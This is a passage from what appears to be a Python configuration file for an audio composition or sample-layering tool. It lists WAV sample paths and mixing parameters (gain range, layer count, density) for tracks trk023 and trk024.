'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-033.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-047.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-066.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-023.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-082.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-062.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-055.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-043.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-053.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-022.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-007.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-086.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-070.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-057.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-076.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-059.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-064.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-013.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-001.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-078.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-066.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-007.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-010.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-045.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-090.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-088.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-080.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-079.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-035.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-000.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-064.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-024.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-065.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-006.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-065.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-005.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-076.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-038.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-059.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-009.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-011.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-077.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-073.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-023.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-036.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-054.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-025.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-073.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-037.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-089.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-011.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-043.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-063.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-025.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-087.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-052.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-034.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-091.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-062.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-051.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-092.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-016.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-093.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-000.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-004.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-062.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-022.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-037.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-089.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-072.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-014.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-084.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-050.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-009.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-033.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-012.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-060.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-078.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-068.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-054.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-034.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-081.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-081.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-057.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-025.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-041.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-063.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-041.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-017.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-020.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-013.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-068.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-020.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-085.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-069.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-011.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-006.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-051.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-012.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-065.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-092.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-046.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-031.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-031.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-020.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-015.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-088.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-047.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-017.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-058.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-032.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-085.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-002.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-075.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-035.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-029.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-091.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-043.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-083.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-005.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-019.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-044.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-060.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-047.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-018.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-061.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-022.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-001.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-054.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-071.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-027.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-038.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-083.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-060.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-018.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-028.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-033.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-017.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-056.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-002.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-044.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-014.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-028.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-093.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-080.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-087.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-064.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-073.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-027.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-063.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-050.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-082.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-067.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-071.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-057.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-084.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-030.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-075.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-088.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-055.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-026.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-090.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-024.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-030.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-074.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-026.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-082.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-023.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-042.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-091.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-016.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-045.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-069.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-049.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-074.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-003.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-076.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0037.285625.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0040.361812.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0072.179792.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0142.401146.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0067.550896.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0064.974458.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0178.392875.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0040.804854.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0100.708042.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0040.564188.wav',
],
},
},
# trk024 side / raw
'trk024': {
'raw': {
'gain_max': -6,
'gain_min': -21,
'numlayer': 5,
'density': 0.3,
'files': [
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0025.655771.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0029.529854.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0035.378833.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0037.285250.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0037.911229.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0038.198667.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0038.591813.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0039.524917.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0040.007146.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0040.553438.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0041.353646.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0041.697104.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0041.836333.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0042.819667.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0043.340979.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0044.928688.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0071.957146.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0078.071438.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0078.671729.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0079.277625.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0079.339667.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0082.233396.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0082.434229.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0084.772000.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0085.214812.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0086.546417.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0086.979021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0088.566792.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0088.814042.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0089.156625.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0089.324375.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0090.057542.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0092.237833.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0092.851875.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0093.507854.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0093.598833.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0094.847583.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0095.768833.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0097.937125.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0098.649583.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0099.038813.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0099.189042.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0101.541188.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0101.748833.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0102.438542.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0105.465875.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0106.722313.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0106.819979.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0107.760437.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0108.149792.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0108.988646.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0109.546063.wav',
